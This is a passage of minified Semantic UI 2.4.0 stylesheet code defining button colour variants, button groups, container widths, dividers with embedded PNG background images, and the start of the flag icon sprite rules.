.button.active,.ui.inverted.olive.buttons .button:active,.ui.inverted.olive.buttons .button:focus,.ui.inverted.olive.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.olive.button:hover,.ui.inverted.olive.buttons .button:hover{background-color:#d8ea5c}.ui.inverted.olive.button:focus,.ui.inverted.olive.buttons .button:focus{background-color:#daef47}.ui.inverted.olive.active.button,.ui.inverted.olive.buttons .active.button{background-color:#daed59}.ui.inverted.olive.button:active,.ui.inverted.olive.buttons .button:active{background-color:#cddf4d}.ui.inverted.olive.basic.button,.ui.inverted.olive.basic.buttons .button,.ui.inverted.olive.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.olive.basic.button:hover,.ui.inverted.olive.basic.buttons .button:hover,.ui.inverted.olive.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #d8ea5c inset!important;box-shadow:0 0 0 2px #d8ea5c inset!important;color:#d9e778!important}.ui.inverted.olive.basic.button:focus,.ui.inverted.olive.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #daef47 inset!important;box-shadow:0 0 0 2px #daef47 inset!important;color:#d9e778!important}.ui.inverted.olive.basic.active.button,.ui.inverted.olive.basic.buttons .active.button,.ui.inverted.olive.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #daed59 inset!important;box-shadow:0 0 0 2px #daed59 inset!important;color:#d9e778!important}.ui.inverted.olive.basic.button:active,.ui.inverted.olive.basic.buttons .button:active,.ui.inverted.olive.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #cddf4d inset!important;box-shadow:0 0 0 2px #cddf4d inset!important;color:#d9e778!important}.ui.yellow.button,.ui.yellow.buttons .button{background-color:#fbbd08;color:#fff;text-shadow:none;background-image:none}.ui.yellow.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.yellow.button:hover,.ui.yellow.buttons .button:hover{background-color:#eaae00;color:#fff;text-shadow:none}.ui.yellow.button:focus,.ui.yellow.buttons .button:focus{background-color:#daa300;color:#fff;text-shadow:none}.ui.yellow.button:active,.ui.yellow.buttons .button:active{background-color:#cd9903;color:#fff;text-shadow:none}.ui.yellow.active.button,.ui.yellow.button .active.button:active,.ui.yellow.buttons .active.button,.ui.yellow.buttons .active.button:active{background-color:#eaae00;color:#fff;text-shadow:none}.ui.basic.yellow.button,.ui.basic.yellow.buttons .button{-webkit-box-shadow:0 0 0 1px #fbbd08 inset!important;box-shadow:0 0 0 1px #fbbd08 inset!important;color:#fbbd08!important}.ui.basic.yellow.button:hover,.ui.basic.yellow.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #eaae00 inset!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#eaae00!important}.ui.basic.yellow.button:focus,.ui.basic.yellow.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #daa300 inset!important;box-shadow:0 0 0 1px #daa300 inset!important;color:#eaae00!important}.ui.basic.yellow.active.button,.ui.basic.yellow.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #eaae00 inset!important;box-shadow:0 0 0 1px #eaae00 inset!important;color:#cd9903!important}.ui.basic.yellow.button:active,.ui.basic.yellow.buttons .button:active{-webkit-box-shadow:0 0 0 1px #cd9903 inset!important;box-shadow:0 0 0 1px #cd9903 inset!important;color:#cd9903!important}.ui.buttons:not(.vertical)>.basic.yellow.button:not(:first-child){margin-left:-1px}.ui.inverted.yellow.button,.ui.inverted.yellow.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #ffe21f inset!important;box-shadow:0 0 0 2px #ffe21f inset!important;color:#ffe21f}.ui.inverted.yellow.button.active,.ui.inverted.yellow.button:active,.ui.inverted.yellow.button:focus,.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button.active,.ui.inverted.yellow.buttons .button:active,.ui.inverted.yellow.buttons .button:focus,.ui.inverted.yellow.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.yellow.button:hover,.ui.inverted.yellow.buttons .button:hover{background-color:#ffdf05}.ui.inverted.yellow.button:focus,.ui.inverted.yellow.buttons .button:focus{background-color:#f5d500}.ui.inverted.yellow.active.button,.ui.inverted.yellow.buttons .active.button{background-color:#ffdf05}.ui.inverted.yellow.button:active,.ui.inverted.yellow.buttons .button:active{background-color:#ebcd00}.ui.inverted.yellow.basic.button,.ui.inverted.yellow.basic.buttons .button,.ui.inverted.yellow.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.yellow.basic.button:hover,.ui.inverted.yellow.basic.buttons .button:hover,.ui.inverted.yellow.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #ffdf05 inset!important;box-shadow:0 0 0 2px #ffdf05 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.button:focus,.ui.inverted.yellow.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #f5d500 inset!important;box-shadow:0 0 0 2px #f5d500 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.active.button,.ui.inverted.yellow.basic.buttons .active.button,.ui.inverted.yellow.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #ffdf05 inset!important;box-shadow:0 0 0 2px #ffdf05 inset!important;color:#ffe21f!important}.ui.inverted.yellow.basic.button:active,.ui.inverted.yellow.basic.buttons .button:active,.ui.inverted.yellow.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #ebcd00 inset!important;box-shadow:0 0 0 2px #ebcd00 inset!important;color:#ffe21f!important}.ui.primary.button,.ui.primary.buttons .button{background-color:#2185d0;color:#fff;text-shadow:none;background-image:none}.ui.primary.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.primary.button:hover,.ui.primary.buttons .button:hover{background-color:#1678c2;color:#fff;text-shadow:none}.ui.primary.button:focus,.ui.primary.buttons .button:focus{background-color:#0d71bb;color:#fff;text-shadow:none}.ui.primary.button:active,.ui.primary.buttons .button:active{background-color:#1a69a4;color:#fff;text-shadow:none}.ui.primary.active.button,.ui.primary.button .active.button:active,.ui.primary.buttons .active.button,.ui.primary.buttons .active.button:active{background-color:#1279c6;color:#fff;text-shadow:none}.ui.basic.primary.button,.ui.basic.primary.buttons .button{-webkit-box-shadow:0 0 0 1px #2185d0 inset!important;box-shadow:0 0 0 1px #2185d0 inset!important;color:#2185d0!important}.ui.basic.primary.button:hover,.ui.basic.primary.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #1678c2 inset!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.primary.button:focus,.ui.basic.primary.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #0d71bb inset!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.primary.active.button,.ui.basic.primary.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #1279c6 inset!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.primary.button:active,.ui.basic.primary.buttons .button:active{-webkit-box-shadow:0 0 0 1px #1a69a4 inset!important;box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.inverted.primary.button,.ui.inverted.primary.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #54c8ff inset!important;box-shadow:0 0 0 2px #54c8ff inset!important;color:#54c8ff}.ui.inverted.primary.button.active,.ui.inverted.primary.button:active,.ui.inverted.primary.button:focus,.ui.inverted.primary.button:hover,.ui.inverted.primary.buttons .button.active,.ui.inverted.primary.buttons .button:active,.ui.inverted.primary.buttons .button:focus,.ui.inverted.primary.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.primary.button:hover,.ui.inverted.primary.buttons .button:hover{background-color:#3ac0ff}.ui.inverted.primary.button:focus,.ui.inverted.primary.buttons .button:focus{background-color:#2bbbff}.ui.inverted.primary.active.button,.ui.inverted.primary.buttons .active.button{background-color:#3ac0ff}.ui.inverted.primary.button:active,.ui.inverted.primary.buttons .button:active{background-color:#21b8ff}.ui.inverted.primary.basic.button,.ui.inverted.primary.basic.buttons .button,.ui.inverted.primary.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.primary.basic.button:hover,.ui.inverted.primary.basic.buttons .button:hover,.ui.inverted.primary.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #3ac0ff inset!important;box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.primary.basic.button:focus,.ui.inverted.primary.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #2bbbff inset!important;box-shadow:0 0 0 2px #2bbbff inset!important;color:#54c8ff!important}.ui.inverted.primary.basic.active.button,.ui.inverted.primary.basic.buttons .active.button,.ui.inverted.primary.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #3ac0ff inset!important;box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54c8ff!important}.ui.inverted.primary.basic.button:active,.ui.inverted.primary.basic.buttons .button:active,.ui.inverted.primary.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #21b8ff inset!important;box-shadow:0 0 0 2px #21b8ff inset!important;color:#54c8ff!important}.ui.secondary.button,.ui.secondary.buttons .button{background-color:#1b1c1d;color:#fff;text-shadow:none;background-image:none}.ui.secondary.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.secondary.button:hover,.ui.secondary.buttons .button:hover{background-color:#27292a;color:#fff;text-shadow:none}.ui.secondary.button:focus,.ui.secondary.buttons .button:focus{background-color:#2e3032;color:#fff;text-shadow:none}.ui.secondary.button:active,.ui.secondary.buttons .button:active{background-color:#343637;color:#fff;text-shadow:none}.ui.secondary.active.button,.ui.secondary.button .active.button:active,.ui.secondary.buttons .active.button,.ui.secondary.buttons .active.button:active{background-color:#27292a;color:#fff;text-shadow:none}.ui.basic.secondary.button,.ui.basic.secondary.buttons .button{-webkit-box-shadow:0 0 0 1px #1b1c1d inset!important;box-shadow:0 0 0 1px #1b1c1d inset!important;color:#1b1c1d!important}.ui.basic.secondary.button:hover,.ui.basic.secondary.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #27292a inset!important;box-shadow:0 0 0 1px #27292a inset!important;color:#27292a!important}.ui.basic.secondary.button:focus,.ui.basic.secondary.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #2e3032 inset!important;box-shadow:0 0 0 1px #2e3032 inset!important;color:#27292a!important}.ui.basic.secondary.active.button,.ui.basic.secondary.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #27292a inset!important;box-shadow:0 0 0 1px #27292a inset!important;color:#343637!important}.ui.basic.secondary.button:active,.ui.basic.secondary.buttons .button:active{-webkit-box-shadow:0 0 0 1px #343637 inset!important;box-shadow:0 0 0 1px #343637 inset!important;color:#343637!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.inverted.secondary.button,.ui.inverted.secondary.buttons .button{background-color:transparent;-webkit-box-shadow:0 0 0 2px #545454 inset!important;box-shadow:0 0 0 2px #545454 inset!important;color:#545454}.ui.inverted.secondary.button.active,.ui.inverted.secondary.button:active,.ui.inverted.secondary.button:focus,.ui.inverted.secondary.button:hover,.ui.inverted.secondary.buttons .button.active,.ui.inverted.secondary.buttons .button:active,.ui.inverted.secondary.buttons .button:focus,.ui.inverted.secondary.buttons .button:hover{-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.inverted.secondary.button:hover,.ui.inverted.secondary.buttons .button:hover{background-color:#616161}.ui.inverted.secondary.button:focus,.ui.inverted.secondary.buttons .button:focus{background-color:#686868}.ui.inverted.secondary.active.button,.ui.inverted.secondary.buttons .active.button{background-color:#616161}.ui.inverted.secondary.button:active,.ui.inverted.secondary.buttons .button:active{background-color:#6e6e6e}.ui.inverted.secondary.basic.button,.ui.inverted.secondary.basic.buttons .button,.ui.inverted.secondary.buttons .basic.button{background-color:transparent;-webkit-box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#fff!important}.ui.inverted.secondary.basic.button:hover,.ui.inverted.secondary.basic.buttons .button:hover,.ui.inverted.secondary.buttons .basic.button:hover{-webkit-box-shadow:0 0 0 2px #616161 inset!important;box-shadow:0 0 0 2px #616161 inset!important;color:#545454!important}.ui.inverted.secondary.basic.button:focus,.ui.inverted.secondary.basic.buttons .button:focus{-webkit-box-shadow:0 0 0 2px #686868 inset!important;box-shadow:0 0 0 2px #686868 inset!important;color:#545454!important}.ui.inverted.secondary.basic.active.button,.ui.inverted.secondary.basic.buttons .active.button,.ui.inverted.secondary.buttons .basic.active.button{-webkit-box-shadow:0 0 0 2px #616161 inset!important;box-shadow:0 0 0 2px #616161 inset!important;color:#545454!important}.ui.inverted.secondary.basic.button:active,.ui.inverted.secondary.basic.buttons .button:active,.ui.inverted.secondary.buttons .basic.button:active{-webkit-box-shadow:0 0 0 2px #6e6e6e inset!important;box-shadow:0 0 0 2px #6e6e6e inset!important;color:#545454!important}.ui.positive.button,.ui.positive.buttons .button{background-color:#21ba45;color:#fff;text-shadow:none;background-image:none}.ui.positive.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.positive.button:hover,.ui.positive.buttons .button:hover{background-color:#16ab39;color:#fff;text-shadow:none}.ui.positive.button:focus,.ui.positive.buttons .button:focus{background-color:#0ea432;color:#fff;text-shadow:none}.ui.positive.button:active,.ui.positive.buttons .button:active{background-color:#198f35;color:#fff;text-shadow:none}.ui.positive.active.button,.ui.positive.button .active.button:active,.ui.positive.buttons .active.button,.ui.positive.buttons .active.button:active{background-color:#13ae38;color:#fff;text-shadow:none}.ui.basic.positive.button,.ui.basic.positive.buttons .button{-webkit-box-shadow:0 0 0 1px #21ba45 inset!important;box-shadow:0 0 0 1px #21ba45 inset!important;color:#21ba45!important}.ui.basic.positive.button:hover,.ui.basic.positive.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #16ab39 inset!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.positive.button:focus,.ui.basic.positive.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #0ea432 inset!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.positive.active.button,.ui.basic.positive.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #13ae38 inset!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.positive.button:active,.ui.basic.positive.buttons .button:active{-webkit-box-shadow:0 0 0 1px #198f35 inset!important;box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.negative.button,.ui.negative.buttons .button{background-color:#db2828;color:#fff;text-shadow:none;background-image:none}.ui.negative.button{-webkit-box-shadow:0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.negative.button:hover,.ui.negative.buttons .button:hover{background-color:#d01919;color:#fff;text-shadow:none}.ui.negative.button:focus,.ui.negative.buttons .button:focus{background-color:#ca1010;color:#fff;text-shadow:none}.ui.negative.button:active,.ui.negative.buttons .button:active{background-color:#b21e1e;color:#fff;text-shadow:none}.ui.negative.active.button,.ui.negative.button .active.button:active,.ui.negative.buttons .active.button,.ui.negative.buttons .active.button:active{background-color:#d41515;color:#fff;text-shadow:none}.ui.basic.negative.button,.ui.basic.negative.buttons .button{-webkit-box-shadow:0 0 0 1px #db2828 inset!important;box-shadow:0 0 0 1px #db2828 inset!important;color:#db2828!important}.ui.basic.negative.button:hover,.ui.basic.negative.buttons .button:hover{background:0 0!important;-webkit-box-shadow:0 0 0 1px #d01919 inset!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.negative.button:focus,.ui.basic.negative.buttons .button:focus{background:0 0!important;-webkit-box-shadow:0 0 0 1px #ca1010 inset!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.negative.active.button,.ui.basic.negative.buttons .active.button{background:0 0!important;-webkit-box-shadow:0 0 0 1px #d41515 inset!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.negative.button:active,.ui.basic.negative.buttons .button:active{-webkit-box-shadow:0 0 0 1px #b21e1e inset!important;box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.primary.button:not(:first-child){margin-left:-1px}.ui.buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;font-size:0;vertical-align:baseline;margin:0 .25em 0 0}.ui.buttons:not(.basic):not(.inverted){-webkit-box-shadow:none;box-shadow:none}.ui.buttons:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.buttons .button{-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;margin:0;border-radius:0;margin:0}.ui.buttons:not(.basic):not(.inverted)>.button,.ui.buttons>.ui.button:not(.basic):not(.inverted){-webkit-box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset;box-shadow:0 0 0 1px transparent inset,0 0 0 0 rgba(34,36,38,.15) inset}.ui.buttons .button:first-child{border-left:none;margin-left:0;border-top-left-radius:.28571429rem;border-bottom-left-radius:.28571429rem}.ui.buttons .button:last-child{border-top-right-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.vertical.buttons .button{display:block;float:none;width:100%;margin:0;-webkit-box-shadow:none;box-shadow:none;border-radius:0}.ui.vertical.buttons .button:first-child{border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.vertical.buttons .button:last-child{margin-bottom:0;border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.vertical.buttons .button:only-child{border-radius:.28571429rem}/*! + * # Semantic UI 2.4.0 - Container + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.container{display:block;max-width:100%!important}@media only screen and (max-width:767px){.ui.container{width:auto!important;margin-left:1em!important;margin-right:1em!important}.ui.grid.container{width:auto!important}.ui.relaxed.grid.container{width:auto!important}.ui.very.relaxed.grid.container{width:auto!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.container{width:723px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(723px + 2rem)!important}.ui.relaxed.grid.container{width:calc(723px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(723px + 5rem)!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.container{width:933px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(933px + 2rem)!important}.ui.relaxed.grid.container{width:calc(933px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(933px + 5rem)!important}}@media only screen and (min-width:1200px){.ui.container{width:1127px;margin-left:auto!important;margin-right:auto!important}.ui.grid.container{width:calc(1127px + 2rem)!important}.ui.relaxed.grid.container{width:calc(1127px + 3rem)!important}.ui.very.relaxed.grid.container{width:calc(1127px + 5rem)!important}}.ui.text.container{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;max-width:700px!important;line-height:1.5}.ui.text.container{font-size:1.14285714rem}.ui.fluid.container{width:100%}.ui[class*="left aligned"].container{text-align:left}.ui[class*="center aligned"].container{text-align:center}.ui[class*="right aligned"].container{text-align:right}.ui.justified.container{text-align:justify;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto}/*! + * # Semantic UI 2.4.0 - Divider + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.divider{margin:1rem 0;line-height:1;height:0;font-weight:700;text-transform:uppercase;letter-spacing:.05em;color:rgba(0,0,0,.85);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent}.ui.divider:not(.vertical):not(.horizontal){border-top:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(255,255,255,.1)}.ui.grid>.column+.divider,.ui.grid>.row>.column+.divider{left:auto}.ui.horizontal.divider{display:table;white-space:nowrap;height:auto;margin:'';line-height:1;text-align:center}.ui.horizontal.divider:after,.ui.horizontal.divider:before{content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat}.ui.horizontal.divider:before{background-position:right 1em top 50%}.ui.horizontal.divider:after{background-position:left 1em top 50%}.ui.vertical.divider{position:absolute;z-index:2;top:50%;left:50%;margin:0;padding:0;width:auto;height:50%;line-height:0;text-align:center;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.ui.vertical.divider:after,.ui.vertical.divider:before{position:absolute;left:50%;content:'';z-index:3;border-left:1px solid rgba(34,36,38,.15);border-right:1px solid rgba(255,255,255,.1);width:0%;height:calc(100% - 1rem)}.ui.vertical.divider:before{top:-100%}.ui.vertical.divider:after{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.grid .stackable.row .ui.vertical.divider,.ui.stackable.grid .ui.vertical.divider{display:table;white-space:nowrap;height:auto;margin:'';overflow:hidden;line-height:1;text-align:center;position:static;top:0;left:0;-webkit-transform:none;transform:none}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:before{position:static;left:0;border-left:none;border-right:none;content:'';display:table-cell;position:relative;top:50%;width:50%;background-repeat:no-repeat}.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:before{background-position:right 1em top 50%}.ui.grid .stackable.row .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:after{background-position:left 1em top 50%}}.ui.divider>.icon{margin:0;font-size:1rem;height:1em;vertical-align:middle}.ui.hidden.divider{border-color:transparent!important}.ui.hidden.divider:after,.ui.hidden.divider:before{display:none}.ui.divider.inverted,.ui.horizontal.inverted.divider,.ui.vertical.inverted.divider{color:#fff}.ui.divider.inverted,.ui.divider.inverted:after,.ui.divider.inverted:before{border-top-color:rgba(34,36,38,.15)!important;border-left-color:rgba(34,36,38,.15)!important;border-bottom-color:rgba(255,255,255,.15)!important;border-right-color:rgba(255,255,255,.15)!important}.ui.fitted.divider{margin:0}.ui.clearing.divider{clear:both}.ui.section.divider{margin-top:2rem;margin-bottom:2rem}.ui.divider{font-size:1rem}.ui.horizontal.divider:after,.ui.horizontal.divider:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}@media only screen and (max-width:767px){.ui.grid .stackable.row .ui.vertical.divider:after,.ui.grid .stackable.row .ui.vertical.divider:before,.ui.stackable.grid .ui.vertical.divider:after,.ui.stackable.grid .ui.vertical.divider:before{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABaAAAAACCAYAAACuTHuKAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1OThBRDY4OUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1OThBRDY4QUNDMTYxMUU0OUE3NUVGOEJDMzMzMjE2NyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjU5OEFENjg3Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjU5OEFENjg4Q0MxNjExRTQ5QTc1RUY4QkMzMzMyMTY3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+VU513gAAADVJREFUeNrs0DENACAQBDBIWLGBJQby/mUcJn5sJXQmOQMAAAAAAJqt+2prAAAAAACg2xdgANk6BEVuJgyMAAAAAElFTkSuQmCC)}}/*! + * # Semantic UI 2.4.0 - Flag + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */i.flag:not(.icon){display:inline-block;width:16px;height:11px;line-height:11px;vertical-align:baseline;margin:0 .5em 0 0;text-decoration:inherit;speak:none;font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.flag:not(.icon):before{display:inline-block;content:'';background:url(themes/default/assets/images/flags.png) no-repeat -108px -1976px;width:16px;height:11px}i.flag.ad:before,i.flag.andorra:before{background-position:0 0}i.flag.ae:before,i.flag.uae:before,i.flag.united.arab.emirates:before{background-position:0 -26px}i.flag.af:before,i.flag.afghanistan:before{background-position:0 -52px}i.flag.ag:before,i.flag.antigua:before{background-position:0 